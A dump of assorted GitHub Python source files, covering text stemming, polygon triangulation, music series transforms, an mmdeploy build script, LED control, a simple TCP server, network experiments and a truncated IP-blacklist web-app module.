\"\"\"\n Aplica steamming a un string\n\n\n Parameters:\n -----------\n sentence: string a aplicar steamming\n min_len: mínimo de caracteres en palabras\n\n\n Returns:\n --------\n stem_sentence: string con steamming\n \"\"\"\n token_words = word_tokenize(sentence)\n stem_sentence = []\n\n for word in token_words:\n if len(word) > min_len:\n stem_sentence.append(stemmer.stem(\n WordNetLemmatizer().lemmatize(word, pos='v')))\n stem_sentence.append(\" \")\n return \"\".join(stem_sentence)\n\n def stem_sentence_apply(self, limpiar):\n\n print(\"...stem_sentence\")\n self.df_.drop_duplicates(\n subset=[\"ID_PROYECTO\", \"NUMERO_CONVOCATORIA\", \"ANIO\"],\n keep=\"last\", inplace=True)\n\n text_data = self.df_[\"DESCRIPCION_PROYECTO\"]\n\n if limpiar:\n self.df_[\"DESCRIPCION_PROYECTO\"] = text_data.apply(\n self.stem_sentence)\n","repo_name":"DanielBustillos/Recommender-model-topic-classification","sub_path":"pipeline/cleaning_steamming.py","file_name":"cleaning_steamming.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"1084031033","text":"import numpy as np\nimport pandas as pd\nimport seaborn as sns; sns.set()\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Circle, Wedge, Polygon\nfrom matplotlib.collections import PatchCollection\nimport math\nfrom scipy import spatial\nfrom itertools import chain\n\ndef pares_circulares(iterable):\n iterable = iter(iterable)\n first = last = next(iterable)\n for x in iterable:\n yield last, x\n last = x\n yield (last, first)\n\ndef near_zero(v):\n if isinstance(v, (float, int)):\n return v > -1E-6 and v < 1E-6\n else:\n return np.allclose(v, np.zeros(np.shape(v)))\n\ndef calcula_normal(polygon):\n sum = 0\n for (x1, y1), (x2, y2) in pares_circulares(polygon):\n sum += (x2 - x1) * (y2 + y1)\n if sum > 1E-6:\n return 1\n elif sum < -1E-6:\n return -1\n else:\n raise ValueError(\"Nenhuma normal encontrada\")\n\ndef fatias_circulares(seq, start, count):\n l = len(seq)\n for i in range(start, start + count):\n yield seq[i % l]\n\ndef fatias_circulares_inv(seq, start, count):\n if start + count > len(seq):\n return seq[start + count - len(seq): start]\n else:\n return chain(seq[:start], seq[start + count:])\n\ndef existe_pontos_no_triangulo(triangle, points):\n a, b, c = triangle\n s = b - a\n t = c - a\n stack = [s, t]\n if len(s) == 3:\n stack.append(np.cross(s, t))\n mtrx = np.linalg.inv(np.vstack(stack).transpose())\n if len(s) == 3:\n mtrx = mtrx[:2]\n for point in points:\n ps, pt = np.dot(mtrx, point - a)\n if ps >= 0 and pt >= 0 and ps + pt <= 1:\n return True\n return False\n\ndef triangulacao(polygon):\n\n polygon = [np.array(x) for x in polygon]\n normal = calcula_normal(polygon)\n i = 0\n while len(polygon) > 2:\n (a, b, c) = fatias_circulares(polygon, i, 3)\n triangle = (a, b, c)\n if ((a == b).all() or (b == c).all()):\n # Pulando vertices duplicados\n del polygon[(i + 1) % len(polygon)]\n continue\n\n x = np.cross(c - b, b - a)\n dot = np.dot(normal, x)\n yld = False\n if dot > 1E-6:\n triangle = (a, b, c)\n if not existe_pontos_no_triangulo(triangle,\n fatias_circulares_inv(polygon, i, 3)):\n del polygon[(i + 1) % len(polygon)]\n yield triangle\n i = 0\n yld = True\n if not yld:\n i += 1\n\ndef plot_triangulation(df, x_list, y_list):\n xs = df['x'].tolist()\n ys = df['y'].tolist()\n\n xs.append(df['x'].values[0])\n ys.append(df['y'].values[0])\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n plt.plot(x_list,y_list)\n plt.plot(xs,ys)\n plt.scatter(xs, ys)\n for xy in zip(xs, ys): # <--\n ax.annotate('(%s, %s)' % xy, xy=xy, textcoords='data') #\n plt.show()\n\ndef getPolygonPoints(df):\n\txs = df['x'].tolist()\n\tys = df['y'].tolist()\n\tlista = []\n\tfor i in range(len(xs)):\n\t\tlista.append((xs[i],ys[i]))\n\treturn lista\n\ndef make_triangulation(df):\n poly = getPolygonPoints(df)\n print(\"--> polygon: {}\".format(poly))\n tris = list(triangulacao(poly))\n print(\"--> triangulation: {}\".format(tris))\n\n x_list = []\n y_list = []\n for triangle in tris:\n x_list.append(triangle[0][0])\n y_list.append(triangle[0][1])\n\n x_list.append(triangle[1][0])\n y_list.append(triangle[1][1])\n\n x_list.append(triangle[2][0])\n y_list.append(triangle[2][1])\n\n plot_triangulation(df, x_list, y_list)\n\n\ndf_polygon1 = pd.read_csv(\"data/polygon1.txt\", sep=\" \", header=None, names=[\"x\",\"y\"])\ndf_polygon2 = pd.read_csv(\"data/polygon2.txt\", sep=\" \", header=None, names=[\"x\",\"y\"])\n\nmake_triangulation(df_polygon1)\nmake_triangulation(df_polygon2)\n\n\n","repo_name":"feliferr/computational-geometry","sub_path":"triangulation/triangulacao.py","file_name":"triangulacao.py","file_ext":"py","file_size_in_byte":3848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3005398444","text":"__author__\t= 'Ernesto Illescas-Pelaez'\n__date__\t= '20 February 2013'\n__version__= 'Beta'\n\n\n# Import Python native modules.\nclass Identities(object):\n\t\"\"\" Contains methods to return series identites, and to transpose\n\tthem.\n\t\"\"\"\n\tdef __init__(self, originalSeries):\n\t\t\"\"\" Set originalSeries as the self.originalSeries attribute.\n\t\toriginalSeries\t---> a list: the original series\n\t\t\"\"\"\n\t\tself.originalSeries\t= originalSeries\n\t\t\n\t\t\n\tdef seriesToIntervals(self, points):\n\t\t\"\"\" Converts a list of points into a list of intervals.\n\t\tpoints\t---> a list of points.\n\t\treturn\t-->> a list of intervals.\n\t\t\"\"\"\n\t\tintervals\t= []\n\t\ta\t\t\t= points[0]\n\t\tfor x in points:\n\t\t\tnewInterval = x - a\n\t\t\tintervals.append(newInterval)\n\t\t\ta = x\n\t\tintervals.pop(0)\n\t\treturn intervals\n\t\n\t\n\tdef intervalsToSeries(self, intervals, start, modulo=None):\n\t\t\"\"\" Constructs a list of values from a list of intervals.\n\t\tintervals\t---> a list of intervals.\n\t\tstart\t\t---> the starting ponit of the returned series.\n\t\tmodulo\t\t---> optional arg. 12 when working TET\n\t\treturn\t\t-->> a list of points\n\t\t\"\"\"\n\t\tseries\t= [start]\n\t\tfor x in intervals:\n\t\t\telement = x + series[-1]\n\t\t\tif modulo:\n\t\t\t\telement = element % modulo\n\t\t\tseries.append(element)\n\t\treturn series\n\t\n\t\n\tdef original(self):\n\t\t\"\"\" Returns the original series.\n\t\treturn\t-->> the original series\n\t\t\"\"\"\n\t\treturn self.originalSeries\n\t\n\t\n\tdef retrograde(self):\n\t\t\"\"\" Returns the retrograde series. No transposition takes place\n\t\t(i.e. retrograde[0] = original[-1]).\n\t\treturn\t-->> the retrograde identity of self.originalSeries\n\t\t\"\"\"\n\t\tretrograde = list(reversed(self.originalSeries))\n\t\treturn retrograde\n\t\n\t\n\tdef inverse(self):\n\t\t\"\"\" Returns the inverse series. No transposition takes place\n\t\t(i.e. inverse[0] = original[-1]).\n\t\treturn\t-->> the inverse identity of self.originalSeries\n\t\t\"\"\"\n\t\torigin\t\t\t\t= self.originalSeries[0]\n\t\tintervals\t\t\t= self.seriesToIntervals(self.originalSeries)\n\t\tinvertedIntervals\t= []\n\t\tfor interval in intervals:\n\t\t\tinterval *= -1\n\t\t\tinvertedIntervals.append(interval)\n\t\tinverse\t\t= self.intervalsToSeries(invertedIntervals, origin,\n\t\t\t\t\t\t\t\t\t\t\t\tmodulo=12)\n\t\treturn inverse\n\t\n\t\n\tdef retrogradeInverse(self):\n\t\t\"\"\" Returns the retrograde of the inverse series. No\n\t\ttransposition takes place (i.e. retrogradeInverse[0] =\n\t\tinverse[-1]).\n\t\treturn\t-->> the retrograde-inverse identity of\n\t\t\t\t\t\tself.originalSeries\n\t\t\"\"\"\n\t\tinverseSeries = self.inverse()\n\t\tretrogradeInverse\t= list(reversed(inverseSeries))\n\t\treturn retrogradeInverse\n\t\n\t\n\tdef transposition(self, startPitch, identitiy='original'):\n\t\t\"\"\" Transposes self.original or the desired identity\n\t\t(retrograde, inverse, retrogradeInverse).\n\t\tstartPitch\t---> Series\\'s starting pitch\n\t\tidentity\t---> optionally choose to return a transposed\n\t\t\t\t\t\t\tidentity\n\t\t\"\"\"\n\t\t# Define which identity will be transposed.\n\t\tif identitiy == 'original':\n\t\t\tseries = self.original()\n\t\telif identitiy == 'retrograde':\n\t\t\tseries = self.retrograde()\n\t\telif identitiy == 'inverse':\n\t\t\tseries = self.inverse()\n\t\telif identitiy == 'retrogradeInverse':\n\t\t\tseries = self.retrogradeInverse()\n\t\t# Make the transposition.\n\t\tintervals = self.seriesToIntervals(series)\n\t\ttransposition = self.intervalsToSeries(intervals, startPitch, modulo=12)\n\t\treturn transposition\n","repo_name":"jergas/moebiusLib","sub_path":"utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"13921636331","text":"import os\nimport sys\nimport time\nfrom pathlib import Path\n\nfrom ubuntu_utils import (cmd_result, cu_version_name, ensure_base_env,\n get_job, pytorch_version)\n\ng_jobs = 2\n\n\ndef install_libtorch(dep_dir):\n print('-' * 10 + 'install libtorch' + '-' * 10)\n time.sleep(2)\n\n os.chdir(dep_dir)\n unzipped_name = 'libtorch'\n if os.path.exists(unzipped_name):\n return os.path.join(dep_dir, unzipped_name)\n\n torch_version = pytorch_version()\n if torch_version is None:\n print('torch version is None, try 1.11.0')\n torch_version = '1.11.0'\n\n version_name = None\n\n # first check `nvcc` version, if failed, use `nvidia-smi`\n cuda = cmd_result(\n \" nvcc --version | grep release | awk '{print $5}' | awk -F , '{print $1}' \" # noqa: E501\n )\n if cuda is None or len(cuda) < 1:\n cuda = cmd_result(\" nvidia-smi | grep CUDA | awk '{print $9}' \")\n\n if cuda is not None and len(cuda) > 0:\n version_name = cu_version_name(cuda)\n else:\n version_name = 'cpu'\n\n filename = 'libtorch-shared-with-deps-{}%2B{}.zip'.format(\n torch_version, version_name)\n url = 'https://download.pytorch.org/libtorch/{}/{}'.format(\n version_name, filename)\n os.system('wget -q --show-progress {} -O libtorch.zip'.format(url))\n os.system('unzip libtorch.zip')\n if not os.path.exists(unzipped_name):\n print(\n 'download or unzip libtorch from {} failed, please check https://pytorch.org/get-started/locally/' # noqa: E501\n .format(url))\n return None\n return os.path.join(dep_dir, unzipped_name)\n\n\ndef install_mmdeploy(work_dir, libtorch_dir):\n print('-' * 10 + 'build and install mmdeploy' + '-' * 10)\n time.sleep(3)\n\n os.chdir(work_dir)\n os.system('git submodule init')\n os.system('git submodule update')\n\n if not os.path.exists('build'):\n os.system('mkdir build')\n\n os.system('rm -rf build/CMakeCache.txt')\n\n cmd = 'cd build && Torch_DIR={} cmake ..'.format(libtorch_dir)\n cmd += ' -DMMDEPLOY_BUILD_SDK=ON '\n cmd += ' -DMMDEPLOY_BUILD_EXAMPLES=ON '\n cmd += ' -DMMDEPLOY_BUILD_SDK_PYTHON_API=ON '\n cmd += ' -DMMDEPLOY_TARGET_DEVICES=cpu '\n cmd += ' -DMMDEPLOY_TARGET_BACKENDS=torchscript '\n cmd += ' -DTORCHSCRIPT_DIR={} '.format(libtorch_dir)\n os.system(cmd)\n\n os.system('cd build && make -j {} && make install'.format(g_jobs))\n os.system('python3 -m pip install -e .')\n try:\n import mmcv\n print(mmcv.__version__)\n os.system('python3 tools/check_env.py')\n except Exception:\n print('Please install torch & mmcv later.. ≥▽≤')\n return 0\n\n\ndef main():\n \"\"\"Auto install mmdeploy with ort. To verify this script:\n\n 1) use `sudo docker run -v /path/to/mmdeploy:/root/mmdeploy -v /path/to/Miniconda3-latest-Linux-x86_64.sh:/root/miniconda.sh -it ubuntu:18.04 /bin/bash` # noqa: E501\n 2) install conda and setup python environment\n 3) run `python3 tools/scripts/build_ubuntu_x64_torchscript.py`\n\n Returns:\n _type_: _description_\n \"\"\"\n global g_jobs\n g_jobs = get_job(sys.argv)\n print('g_jobs {}'.format(g_jobs))\n\n work_dir = os.path.abspath(os.path.join(__file__, '..', '..', '..'))\n dep_dir = os.path.abspath(os.path.join(work_dir, '..', 'mmdeploy-dep'))\n if not os.path.exists(dep_dir):\n if os.path.isfile(dep_dir):\n print('{} already exists and it is a file, exit.'.format(work_dir))\n return -1\n os.mkdir(dep_dir)\n\n success = ensure_base_env(work_dir, dep_dir)\n if success != 0:\n return -1\n\n libtorch_dir = install_libtorch(dep_dir)\n\n if libtorch_dir is None:\n return -1\n\n if install_mmdeploy(work_dir, libtorch_dir) != 0:\n return -1\n\n if os.path.exists(Path('~/mmdeploy.env').expanduser()):\n print('Please source ~/mmdeploy.env to setup your env !')\n os.system('cat ~/mmdeploy.env')\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"open-mmlab/mmdeploy","sub_path":"tools/scripts/build_ubuntu_x64_torchscript.py","file_name":"build_ubuntu_x64_torchscript.py","file_ext":"py","file_size_in_byte":3992,"program_lang":"python","lang":"en","doc_type":"code","stars":2256,"dataset":"github-code","pt":"53"}
+{"seq_id":"25285624680","text":"import sys\nimport subprocess as sub\nfrom datetime import datetime\nimport select\n\nlogfile = open('main.log', 'w')\n\ndef write_log(*arg):\n\ts = ''.join(str(i) for i in arg).strip()\n\tdate = str(datetime.now())\n\tfor i in s.split('\\n'):\n\t\tlogfile.write(date + ': ' + i + '\\n')\n\t\tsys.stdout.write(date + ': ' + i + '\\n')\n\tlogfile.flush()\n\ndef runcmd(cmd, outpip=sub.PIPE, errpip=sub.STDOUT):\n\t\"\"\"\n\truncmd(cmd)\n\tExecutes 'cmd' and yield the output\n\tby default it yield strerr also\n\t\"\"\"\n\twrite_log('cmd: ', cmd)\n\tprocess = sub.Popen(cmd, stdout=outpip, stderr=errpip)\n\t# for c in iter(lambda: process.stdout.readline(), b''): ## For line by line\n\tfor c in iter(lambda: process.stdout.read(4), b''):\n\t\twrite_log(c.decode())\n\t\t# yield c #.decode() ## uncomment to send string instead.\n\t\tyield { 'data': c.decode(), 'stream': 'both' }\n\ndef stream_cmd(cmd):\n\toutpip = sub.PIPE\n\terrpip = sub.PIPE\n\twrite_log('cmd: ', cmd)\n\tprocess = sub.Popen(cmd, shell=True, stdout=outpip, stderr=errpip)\n\twhile True:\n\t\treads = [process.stdout.fileno(), process.stderr.fileno()]\n\t\tret = select.select(reads, [], [])\n\t\tfor fd in ret[0]:\n\t\t\tif fd == process.stdout.fileno():\n\t\t\t\tdata = process.stdout.readline()\n\t\t\t\twrite_log(data.decode())\n\t\t\t\tyield { 'data': data.decode(), 'stream': 'stdout' }\n\t\t\tif fd == process.stderr.fileno():\n\t\t\t\tdata = process.stderr.readline()\n\t\t\t\twrite_log(data.decode())\n\t\t\t\tyield { 'data': data.decode(), 'stream': 'stderr' }\n\t\tif process.poll() != None:\n\t\t\tprint(\"Poll\", process.poll())\n\t\t\treturn\n\nif __name__ == '__main__':\n\ta = runcmd(\"./temp\")\n\tfor i in a:\n\t\tprint(i, end='')\n","repo_name":"shreyash14s/OVIDE","sub_path":"execr.py","file_name":"execr.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"38490415034","text":"#!/usr/bin/env python3\n\nfrom gpiozero import PWMLED\nfrom gpiozero import Button\nfrom time import sleep\nfrom signal import pause\nimport threading\nfrom threading import Timer\n\ngreen = PWMLED(\"12\")\nred = PWMLED(\"13\")\nblue = PWMLED(\"19\")\nbutton = Button(2)\n\ndef reset(timer1,timer2,timer3):\n green.off()\n red.off()\n blue.off()\n # print(\"cancelling timer: \"+ str(timer1))\n timer1.cancel()\n # print(\"cancelling timer: \"+ str(timer2))\n timer2.cancel()\n # print(\"cancelling timer: \"+ str(timer3))\n timer3.cancel()\n\ndef show_red():\n green.off()\n red.on()\n blue.off()\n\ndef show_blue():\n green.off()\n red.off()\n blue.on()\n\ndef show_green():\n green.on()\n red.off()\n blue.off()\n\ndef show_purple():\n green.off()\n red.on()\n blue.on()\n\ndef show_white():\n green.on()\n red.on()\n blue.on()\n\ndef show_rainbow(time_period=3, ):\n kwargs={\n 'on_time':0,\n 'off_time':time_period,\n 'fade_in_time':time_period,\n 'fade_out_time':time_period,\n 'n':None,\n 'background':True\n }\n green_timer = Timer(\n time_period * 0, \n green.blink,\n kwargs=kwargs\n )\n red_timer = Timer(\n time_period, \n red.blink,\n kwargs=kwargs\n )\n blue_timer = Timer(\n time_period * 2, \n blue.blink,\n kwargs=kwargs\n )\n green_timer.start()\n red_timer.start()\n blue_timer.start()\n return(green_timer, red_timer, blue_timer)\n\n\ndef main():\n # setting some variables up\n green_timer = Timer(0, next)\n red_timer = Timer(0, next)\n blue_timer = Timer(0, next)\n \n # we gotta start somewhere, might as well be at the end\n show_white()\n active_color = 6\n\n\n while True:\n\n \n # when Button gets pressed, color program gets cancelled, and the color profile incriments\n button.wait_for_press() \n reset(green_timer, red_timer, blue_timer)\n active_color += 1\n \n # if we exceed the number of color patterns, we start back at 0\n if active_color >= 7:\n active_color = 0\n\n\n # upon button release, we start the next color pattern \n button.wait_for_release()\n\n\n if active_color == 0:\n (green_timer, red_timer, blue_timer) = show_rainbow(1)\n print(\"fast rainbow\")\n elif active_color == 1:\n (green_timer, red_timer, blue_timer) = show_rainbow()\n print(\"slow rainbow\")\n elif active_color == 2:\n show_green()\n print(\"green\")\n elif active_color == 3:\n show_blue()\n print(\"blue\")\n elif active_color == 4:\n show_red()\n print(\"red\")\n elif active_color == 5:\n show_purple()\n print(\"purple\")\n elif active_color == 6:\n show_white()\n print(\"white\")\n pause()\n\n# Here we run main\nmain()\n","repo_name":"eric-wilbanks/gpio_nonsense","sub_path":"rgb_cycle.py","file_name":"rgb_cycle.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22657505439","text":"import socket\nimport threading\n\n\n#0.0.0.0 yani hame ip haye system\nlisten_ip = '0.0.0.0'\nlisten_port = 2345\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\nserver.bind((listen_ip, listen_port))\n\n#vorodi 1-5 migire\n\nserver.listen(5)\n\ndef handle_client(client):\n\n request = client.recv(4096)\n print(\"Revieved : {}\".format(request))\n client.send(\"ACK!\")\n client.close()\n\nwhile True:\n print(\"Listening on {}:{}\".format(listen_ip, listen_port))\n client_socket, addr = server.accept()\n print(\"Connetction accepted from {}:{}\".format(addr[0], addr[1]))\n client_handler=threading.Thread(target=handle_client, args=(client_socket,))\n client_handler.start()\n","repo_name":"saeidshirazi/pysecurity","sub_path":"tcp_server.py","file_name":"tcp_server.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"2782566913","text":"import subprocess\n\ndef test_speed():\n speedtest_output = subprocess.run([\"speedtest-cli\"], capture_output=True, text=True).stdout\n return speedtest_output\n\nif __name__ == \"__main__\":\n print(\"Start Test - check your internet connection\")\n input(\"Press ENTER...\")\n print(\"Testing\")\n output = test_speed()\n print(\"--- Speedtest Results ---\")\n print(output)\n \n\n \n","repo_name":"RyaanXP/Simple-SpeedTest-in-Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"72524130087","text":"import numpy as np\nimport random \nimport seaborn as sns\n\nsuccess = 0\n#Number of tests \nn = 100000\n#Target value\nthreshold = 5\n#What we reroll . 3 will reroll 1,2 and 3\nreroll = 1\n#Number of Dice used in the experiment\ndice = 2\ndata = np.zeros([n, dice+1], dtype=int)\nfor i in range(n):\n total = 0\n for d in range(dice):\n roll = random.randint(1, 6) \n \n if roll <= reroll:\n roll = random.randint(1, 6)\n data[i,d] = roll\n data[i,dice] = data[i,dice] + roll\n \n if (data[i,dice]>=threshold):\n success=success+1\n \n#sns.distplot(data[:,dice])\n\nprint(success/n)\n","repo_name":"AntonYurievNikolov/PythonTests","sub_path":"Gaming/Monte Carlo.py","file_name":"Monte Carlo.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32449320636","text":"#!/usr/bin/env python3\n\n\"\"\"\nUsage:\n./test.py \n\nExperiment Types:\nnum_flows\nlat_ratio\nmulti_flow\nmulti_ratio\n\"\"\"\n\nimport subprocess, threading, time, sys, os, parse\n\n# Global Parameters\nMAHIMAHI_BASE = '100.64.0.1'\nLOG_DIR_BASE='logs-'\nRUN_TIMELENGTH = 120\nUPLOAD_FILE = 'const-60mbit'\nDOWNLOAD_FILE = 'const-12mbit'\n\ndef thread_call(command):\n subprocess.run(command)\n\ndef spawn_flow(long_latency, short_latency, num, cca, exp_type):\n command = ['mm-delay', str(long_latency), 'mm-link', UPLOAD_FILE, DOWNLOAD_FILE, '--', \\\n './iperf_spawner.sh', str(num), str(short_latency), str(RUN_TIMELENGTH), cca, exp_type]\n t = threading.Timer(0, thread_call, kwargs={'command':command})\n t.start()\n\ndef spawn_multi_flow(long_latency, short_latency, num, cca, exp_type):\n command = ['mm-delay', str(long_latency), 'mm-link', UPLOAD_FILE, DOWNLOAD_FILE, '--', \\\n './multi_spawner.sh', str(num), str(short_latency), str(RUN_TIMELENGTH), cca, exp_type]\n t = threading.Timer(0, thread_call, kwargs={'command':command})\n t.start()\n\ndef main(args):\n num_iter = int(args[2])\n num_flows = int(args[3])\n long_latency = int(args[4])\n short_latency = int(args[5])\n cca = args[6]\n exp_type = args[1]\n if 'num' in exp_type or 'multi_flow' in exp_type:\n exp_index = args[3]\n elif 'lat' in exp_type or 'multi_ratio' in exp_type:\n exp_index = args[5]\n else:\n print('Unsupported experiment type.')\n exit(0)\n log_dir = exp_type + '/' + cca + '/' + LOG_DIR_BASE + exp_index\n\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n\n # create flows:\n for i in range(num_iter):\n if 'multi' not in exp_type:\n spawn_flow(long_latency, short_latency, num_flows, cca, exp_type)\n else:\n spawn_multi_flow(long_latency, short_latency, num_flows, cca, exp_type)\n # Wait until flows are done:\n time.sleep(RUN_TIMELENGTH + 0.2*num_flows + 1)\n\n parse.main(['', exp_type, exp_index, cca])\n\n\nif __name__ == '__main__':\n args = sys.argv\n if len(args) != 7:\n print('Usage: ./test.py ')\n else:\n main(args)\n","repo_name":"metheis/unfairness","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12654253592","text":"import json\nfrom datetime import datetime as dt\n\n\ndef timestamp_to_string(timestamp: int, time_format=\"EU\") -> str:\n dt_object = dt.fromtimestamp(timestamp)\n if time_format == \"EU\":\n formatted_date = dt_object.strftime(\"%d.%m.%Y at %H:%M:%S\")\n else:\n formatted_date = dt_object.strftime(\"%m/%d/%Y at %I:%M:%S %p\")\n return formatted_date\n\n\ndef read_cache_file(category: str) -> dict:\n try:\n with open(f\"{category}.json\", \"r\") as file:\n cache = json.load(file)\n except FileNotFoundError:\n with open(f\"{category}.json\", \"w\") as file:\n pass\n cache = {}\n return cache\n\n\ndef write_cache_file(category: str, json_data: dict) -> None:\n with open(f\"{category}.json\", \"w\") as file:\n json.dump(json_data, file, indent=4)\n","repo_name":"Datenlord1510/discord-predb","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"53"}
+{"seq_id":"43404047095","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nfrom app.models.user.rms import RMS\nfrom app.models.ippool.ipStatis import IPStatis\nfrom app.models.ippool.ip import IP\nfrom app.models.blacklist.ipBlacklist import IPBlacklist\nfrom app.models.blacklist.ipBlacklistVote import IPBlacklistVote\nfrom conf.error_code import ERROR_CODE, ERROR_MESSAGE\nfrom lib.core import get, post, ctx, view, interceptor, HttpError\nfrom lib.common import check_login, api, get_page_info, Page\nfrom lib.error import APIError\nfrom lib.utils import path_join\n\n_MODULE = 'blacklist'\n\n\ndef _get_votelist(is_admin=False):\n batch = ctx.request.get('batch', None)\n title = ctx.request.get('title', None)\n\n batch_list = IPBlacklist.select_by('where batch > 0 group by batch order by batch DESC', [], ['batch'])\n\n if not batch and len(batch_list) > 0:\n batch = batch_list[0].batch\n\n param = {\n 'batchList': batch_list,\n 'batch': \"\" if not batch else batch,\n 'title': title if title else '',\n }\n\n lists = []\n if not not batch:\n where = 'where `batch` = ? order by voteEnd DESC'\n lists = IPBlacklist.find_by(where, batch)\n IP.join_by(lists, 'id', 'id')\n\n if not is_admin:\n where = 'where voterId = \"%s\"' % (ctx.request.user.uid,)\n IPBlacklistVote.join_by(lists, 'id', 'ipId', where)\n lists = sorted(lists, key=lambda x: x.ip.pagerankVal, reverse=True)\n else:\n lists = sorted(lists, key=lambda x: x.voteTurnout, reverse=True)\n\n _format_data(lists)\n return dict(list=lists, param=param, user=ctx.request.user)\n\n\ndef _get_blacklist_by_page(title, status, order):\n page_index, page_size = get_page_info()\n\n if title:\n args = ['%' + title + '%']\n where = 'where `title` like ?'\n else:\n args = [status]\n where = 'where status = ?'\n\n total = IPBlacklist.count_by(where, *args)\n page = Page(total, page_index, page_size)\n\n if status < 3:\n order_field = 'updateAt ASC'\n else:\n order_field = 'blacklistUpdateAt DESC'\n\n where = '%s order by %s limit ?,?' % (where, order_field)\n args.append(page.offset)\n args.append(page.limit)\n lists = IPBlacklist.find_by(where, *args)\n\n if status > 1:\n RMS.join_by(lists, 'packagerId', 'uid')\n\n IP.join_by(lists, 'id', 'id')\n IPStatis.join_by(lists, 'id', 'ipId')\n return lists, page.to_dict()\n\n\ndef _get_package_list_by_page(title, status, order):\n page_index, page_size = get_page_info()\n\n args = [ctx.request.user.uid]\n where = \"where packagerId = ?\"\n\n if title:\n args.append('%' + title + '%')\n where = '%s and status > 1 and `title` like ? ' % (where,)\n else:\n args.append(status)\n where = '%s and status = ?' % (where,)\n\n total = IPBlacklist.count_by(where, *args)\n page = Page(total, page_index, page_size)\n if order == 0:\n order_by = 'DESC'\n else:\n order_by = 'ASC'\n where = '%s order by updateAt %s limit ?,?' % (where, order_by)\n args.append(page.offset)\n args.append(page.limit)\n lists = IPBlacklist.find_by(where, *args)\n IP.join_by(lists, 'id', 'id')\n return lists, page.to_dict()\n\n\ndef _get_blacklist():\n title = ctx.request.get('title', None)\n status = ctx.request.get('status', 1)\n order = ctx.request.get('order', 0)\n\n lists, page = _get_blacklist_by_page(title, status, order)\n\n packagers = RMS.find_by('where `crm` like \"%4_1_9%\" and stillwork = 1')\n\n param = {\n 'status': int(status),\n 'title': title if title else ''\n }\n _format_data(lists)\n return dict(page=page, packagers=packagers, list=lists, param=param, user=ctx.request.user)\n\n\ndef _get_package_list():\n title = ctx.request.get('title', None)\n status = ctx.request.get('status', 2)\n order = ctx.request.get('order', 0)\n\n lists, page = _get_package_list_by_page(title, status, order)\n\n param = {\n 'status': int(status),\n 'title': title if title else ''\n }\n _format_data(lists)\n return dict(page=page, list=lists, param=param, user=ctx.request.user)\n\n\ndef _format_data(data):\n for item in data:\n item.createAt, item.updateAt = time.localtime(item.createAt), time.localtime(item.updateAt)\n item.createAt = time.strftime('%Y-%m-%d %H:%M:%S', item.createAt)\n item.updateAt = time.strftime('%Y-%m-%d %H:%M:%S', item.updateAt)\n\n if hasattr(item, 'blacklistUpdateAt'):\n item.blacklistUpdateAt = time.localtime(item.blacklistUpdateAt)\n item.blacklistUpdateAt = time.strftime('%Y-%m-%d %H:%M:%S', item.blacklistUpdateAt)\n\n if hasattr(item, 'uptime'):\n item.uptime = time.localtime(item.uptime)\n item.uptime = time.strftime('%Y-%m-%d', item.uptime)\n\n\n@interceptor(path_join(_MODULE))\ndef check_login_interceptor(next):\n return check_login(next)\n\n\n@view(path_join(_MODULE, 'blacklist.html'))\n@get(path_join(_MODULE))\ndef blacklist_list():\n if ctx.request.user.crm.find('4_1_8') == -1 and ctx.request.user.crm.find('4_1_9') == -1 and ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_blacklist()\n\n\n@api\n@get(path_join(_MODULE, 'api'))\ndef api_blacklist_list():\n if ctx.request.user.crm.find('4_1_8') == -1 and ctx.request.user.crm.find('4_1_9') == -1 and ctx.request.user.crm.find('4_1_10') == -1:\n raise HttpError.seeother('/home')\n\n return _get_blacklist()\n\n\n@view(path_join(_MODULE, 'vote_list.html'))\n@get(path_join(_MODULE, 'voteList'))\ndef ip_list():\n if ctx.request.user.crm.find('4_1_8') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist()\n\n\n@api\n@get(path_join(_MODULE, 'voteList/api'))\ndef api_ip_list():\n if ctx.request.user.crm.find('4_1_8') == -1:\n raise HttpError.seeother('/home')\n\n return _get_votelist()\n\n\n@view(path_join(_MODULE, 'package_list.html'))\n@get(path_join(_MODULE, 'packageList'))\ndef package_list():\n if ctx.request.user.crm.find('4_1_9') == -1:\n raise HttpError.seeother('/home')\n\n return _get_package_list()\n\n\n@api\n@get(path_join(_MODULE, 'packageList/api'))\ndef api_package_list():\n if ctx.request.user.crm.find('4_1_9') == -1:\n raise HttpError.seeother('/home')\n\n return _get_package_list()\n\n\n@view(path_join(_MODULE, 'vote_result.html'))\n@get(path_join(_MODULE, 'voteResult'))\ndef vote_result_list():\n if ctx.request.user.crm.find('4_1_10') == 